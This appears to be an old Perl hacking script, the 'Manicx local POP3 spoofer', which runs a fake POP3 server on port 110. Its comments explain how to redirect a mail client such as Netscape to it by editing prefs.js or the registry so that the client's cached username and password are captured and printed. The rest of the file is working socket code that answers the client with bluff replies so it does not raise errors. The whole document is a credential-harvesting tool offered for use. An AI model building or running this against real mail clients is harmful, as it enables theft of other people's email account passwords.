# This is a simple tcp server that listens on port 110
# unless another is specified.  
# The possible uses of this are;
#   Netscape/explorer mail password caching/grabbing
# In netscape edit your prefs.js file so that your pop
# server is your own ip (127.0.0.1) then open netscape
# and click on get mail then this will capture the user.name
# and password. (ps- dont edit your pop account in netscape
# or it will erase the password and prompt for a new one)

# I havent got explorer but the pop server can be changed in 
# the registry same should work for other email clients that
# allow password caching.

# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there .. 

print "===========================\n";
print " Manicx local POP3 spoofer\n";
print " www.infowar.co.uk/manicx/\n";
print "===========================\n";

($port) = @ARGV;
$port = 110 unless $port;    # Are port is 110 unless specified

$AF_INET = 2;
$SOCK_STREAM = 1;

$sockaddr = 'S n a4 x8';

($name, $aliases, $proto) = getprotobyname('tcp');
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}

print "Port = $port\n";

$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");

select(NS); $| = 1; select(stdout);

socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
bind(S,$this) || die "bind: $!";
listen(S,5) || die "connect: $!";

select(S); $| = 1; select(stdout);

print "Listening for connection....\n";

($addr = accept(NS,S)) || die $!;

print "Accept ok\n";

($af,$port,$inetaddr) = unpack($sockaddr,$addr);
@inetaddr = unpack('C4',$inetaddr);

    print NS "+OK manicx POP3 sniffer ready.\n";
    
    getuserandpass();     # call on our sub 
    bluffothers();        # call on other sub

#-------------------------------------
sub bluffothers{
    $cmd = <NS>; 
    print $cmd;
    $cmd =~ s/\s//g;

if ($cmd eq 'STAT') 
        {
         print NS "+OK 0 0\n";
         print "Client wants STAT sent bluff message\n";
         bluffothers();
        }
elsif ($cmd eq 'QUIT')
        {
        print "Client wants QUIT sent disconnect\n";
        print NS "+OK 127.0.0.1 POP3 server closing connection\n"; 
        sleep 5;    #so we dont have an error message in netscape
        }
     
else 
        {
         print "Dont know what client wants sending bluff +ok\n";
         print NS "+OK\n";
         bluffothers();
        }
}

#--------------------------------------
sub getuserandpass {
    $user = <NS>;
    $user =~ s/\s//g;   
    if ($user eq 'AUTH') 
        {
         print NS "-ERR USER or QUIT\n";
         print "Client wants AUTH? Sent error message :)\n";
         getuserandpass()
        }
     else 
        {
         print $user, "\n";
         print NS "+OK Pass\n";
         $pass = <NS>;
         print $pass;
         print NS "+OK Maildrop has 0 messages (0 octets)\n";
        }
}
#--------------------------------------

# eek! recursion everywhere ...